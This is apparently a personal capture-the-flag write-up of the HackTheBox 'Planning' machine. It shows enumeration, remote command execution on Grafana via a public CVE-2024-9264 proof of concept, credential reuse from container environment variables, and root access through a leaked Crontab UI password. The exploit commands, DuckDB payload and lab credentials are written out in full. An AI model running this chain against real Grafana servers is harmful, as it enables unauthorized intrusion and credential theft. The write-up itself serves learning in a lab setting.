
Machine Information
“As is common in real life pentests, you will start the Planning box with credentials for the following account: admin / 0D5oT70Fq13EvB5r”
Enumeration and Analysis
$ nmap 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 06:05 CEST
Nmap scan report for 10.10.11.68
Host is up (0.039s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.47 seconds
$ nmap -p22,80 -sV -sC 10.10.11.68
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 06:06 CEST
Nmap scan report for 10.10.11.68
Host is up (0.026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.94 seconds
Page failed to follow redirect:
_http-title: Did not follow redirect to http://planning.htb/
So I added the domain name to /etc/hosts
:
$ sudo echo "10.10.11.68 planning.htb" >> /etc/hosts
$ nmap -p22,80 -sV -sC planning.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 06:11 CEST
Nmap scan report for planning.htb (10.10.11.68)
Host is up (0.077s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_ 256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Edukate - Online Education Website
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.12 seconds
The website looks to be a education platform. Crawling through it there was nothing I missed when going through it myself:
$ katana -hl -u http://planning.htb -o crawl.txt; spd-say done
__ __
/ /_____ _/ /____ ____ ___ _
/ '_/ _ / __/ _ / _ \/ _ /
/_/\_\\_,_/\__/\_,_/_//_/\_,_/
projectdiscovery.io
[INF] Started headless crawling for => http://planning.htb
http://planning.htb/lib/easing/easing.min.js
http://planning.htb/lib/counterup/counterup.min.js
http://planning.htb/js/main.js
http://planning.htb/lib/owlcarousel/owl.carousel.min.js
http://planning.htb/lib/waypoints/waypoints.min.js
http://planning.htb/lib/owlcarousel/assets/owl.carousel.min.css
http://planning.htb/css/style.css
[ERR] Error closing page: context deadline exceeded
http://planning.htb
[ERR] Error closing page: context deadline exceeded
http://planning.htb/detail.php
[ERR] Error closing page: context deadline exceeded
http://planning.htb/contact.php
[ERR] Error closing page: context deadline exceeded
http://planning.htb/course.php
[ERR] Error closing page: context deadline exceeded
http://planning.htb/about.php
[ERR] Error closing page: context deadline exceeded
http://planning.htb/enroll.php
[ERR] Error closing page: context deadline exceeded
http://planning.htb/index.php
Also, I wasn’t able to find any hidden subdirectories:
$ gobuster dir -u http://planning.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt; spd-say 'Gobuster done'
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://planning.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 178] [--> http://planning.htb/img/]
/css (Status: 301) [Size: 178] [--> http://planning.htb/css/]
/lib (Status: 301) [Size: 178] [--> http://planning.htb/lib/]
/js (Status: 301) [Size: 178] [--> http://planning.htb/js/]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
Running sqlmap
on the POST requests didn’t result in anything, but when fuzzing for VHOST names, there looks to be an available grafana
instance:
$ ffuf -w ~/Repos/SecLists/Discovery/DNS/FUZZSUBS_CYFARE_1.txt:FUZZ -u http://planning.htb/ -H 'Host: FUZZ.planning.htb' -t 200 -fc 301
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://planning.htb/
:: Wordlist : FUZZ: /home/kali/Repos/SecLists/Discovery/DNS/FUZZSUBS_CYFARE_1.txt
:: Header : Host: FUZZ.planning.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 200
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 301
________________________________________________
grafana [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 31ms]
:: Progress: [5605156/5605156] :: Job [1/1] :: 5405 req/sec :: Duration: [0:12:46] :: Errors: 1 ::
So I added the new domain name to /etc/hosts
:
$ sudo echo "10.10.11.68 grafana.planning.htb" >> /etc/hosts
Logging in with the credentials that were initially provided, we can access the grafana
dashboard.
A quick Google search for “Grafana v11.0.0 vulnerability” led me to this article published by grafana themselves disclosing a RCE. And this other article with a more detailed disclosure on how to implement this attack.
I also found this ready to use PoC by @nollium:
$ python3 -m venv .
$ bin/pip3 install -r requirements.txt
$ $ bin/python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c 'id' http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: id
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('id >/tmp/grafana_cmd_output 2>&1
|'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
uid=0(root) gid=0(root) groups=0(root)
Looks like we are also running as root.
Container escape (or not)
I really thought it would be that easy, but the system looks a bit weird. I used find
to look for .txt
files, but couldn’t find any flags, only configuration files.
Thinking about it, grafana
was being provided through virtual hosting, and the weirdness of the system itself means that I was probably inside some sort of container where grafana
was running.
Checking for the machine hostname, it looks a lot like the generated Docker container id:
$ bin/python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "hostname" http://grafana.planning.htb/
...
7ce659d667d7
And checking the running processes, there is really only grafana running (excluding my command):
$ bin/python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "ps aux" http://grafana.planning.htb/
...
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.1 7.7 1544384 146472 ? Ssl 04:01 0:08 grafana server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning
root 537 0.0 1.1 414112 22656 ? Sl 06:07 0:00 /usr/local/bin/duckdb
root 543 0.0 0.0 2892 1664 ? S 06:07 0:00 sh -c ps aux >/tmp/grafana_cmd_output 2>&1
root 544 0.0 0.1 7064 2816 ? R 06:07 0:00 ps aux
I would like to highlight this very detailed post made by Natalie. It helped me to get a better understanding on how the Docker container security system works.
After some time it got really old to have to edit the small string on the big command line whenever I wanted to execute a new command on the machine. So I modified the code from @nollium to have somewhat of a shell: GitHub Gist.
After some research I got to the conclusion that this container has really good security, and a escape would not be possible. So just digging for information I found:
$ ./CVE-2024-9264/bin/python3 shell.py -u admin -p '0D5oT70Fq13EvB5r' http://grafana.planning.htb/
[+] Logged in as admin:0D5oT70Fq13EvB5r
$ env
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
SHLVL=0
AWS_AUTH_EXTERNAL_ID=
HOME=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana
The two variables GF_SECURITY_ADMIN_USER
and GF_SECURITY_ADMIN_PASSWORD
store the admin credentials, and checking the SSH for a password reuse I was able to access the machine.
$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)
...
enzo@planning:~$ ls
user.txt
enzo@planning:~$ cat user.txt
<user flag>
Privilege escalation
During an initial search I couldn’t find anything. And running LinPEAS:
attacker@machine:~$ scp linpeas.sh [email protected]:/tmp/l.sh
enzo@planning:~$ cd /tmp
enzo@planning:~$ chmod +x l.sh
enzo@planning:~$ ./l.sh -s -q > result.txt
attacker@machine:~$ scp [email protected]:/tmp/result.txt .
I tried everything that I know of about privilege escalation, tried writing my own lib for the running MySQL instance so I could execute commands as root, also tried to create a Docker container by writing directly to the exposed socket with the root directory mounted on it, but had to luck.
I decided to lookup other WriteUps online and found this post by @HYH that showed me something that I overlooked from my LeanPEAS scan.
There is a readable /opt/crontabs/crontab.db
with an exposed password:
{
"name": "Grafana backup",
"command": "/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz",
"schedule": "@daily",
"stopped": false,
"timestamp": "Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)",
"logging": "false",
"mailing": {},
"created": 1740774983276,
"saved": false,
"_id": "GTI22PpoJNtRKg0W"
}
{
"name": "Cleanup",
"command": "/root/scripts/cleanup.sh",
"schedule": "* * * * *",
"stopped": false,
"timestamp": "Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)",
"logging": "false",
"mailing": {},
"created": 1740849309992,
"saved": false,
"_id": "gNIRXh1WIc9K7BYX"
}
And also an open 8000
port:
...
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33819 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
...
Creating a tunnel over SSH:
$ ssh -L 8000:localhost:8000 [email protected]
I was able to access the Crontab UI using root
user and P4ssw0rdS0pRi0T3c
password, which is the password that was configured on the crontab.db
file.
~ End of assisted section ~
Having access to crontab means that I can execute whatever I want using root
, I initially tried to open reverse shells or pipe content directly back to a listening port on my machine, but that was’t working.
The output logs were not correctly displayed on the UI, but I was able to find them under /tmp
as .stderr
and .stdout
files. So I simply created a cat
cron printing the contents of the known root flag path:
And then read the stdout
file:
$ cat /tmp/2gAfDIP2pYTmfJpN.stdout
<root flag>
Review
I really enjoyed this machine. Being inside a Docker container after exploiting grafana
was a nice change of pace in comparison to other machines, and it led me down into a container security rabbit hole.
I also learned a couple of new things from the experience. I could have found the grafana
VHOST earlier if I knew to use the correct word-lists and how to configure threads on ffuf
. I also realized how balls-to-the-wall LinPEAS is, it literally throws the kitchen sink at the machine. It generated tons of data where most of it ended up being meaningless, and if I had a more direct approach, I would have probably found that crontab.db
file myself.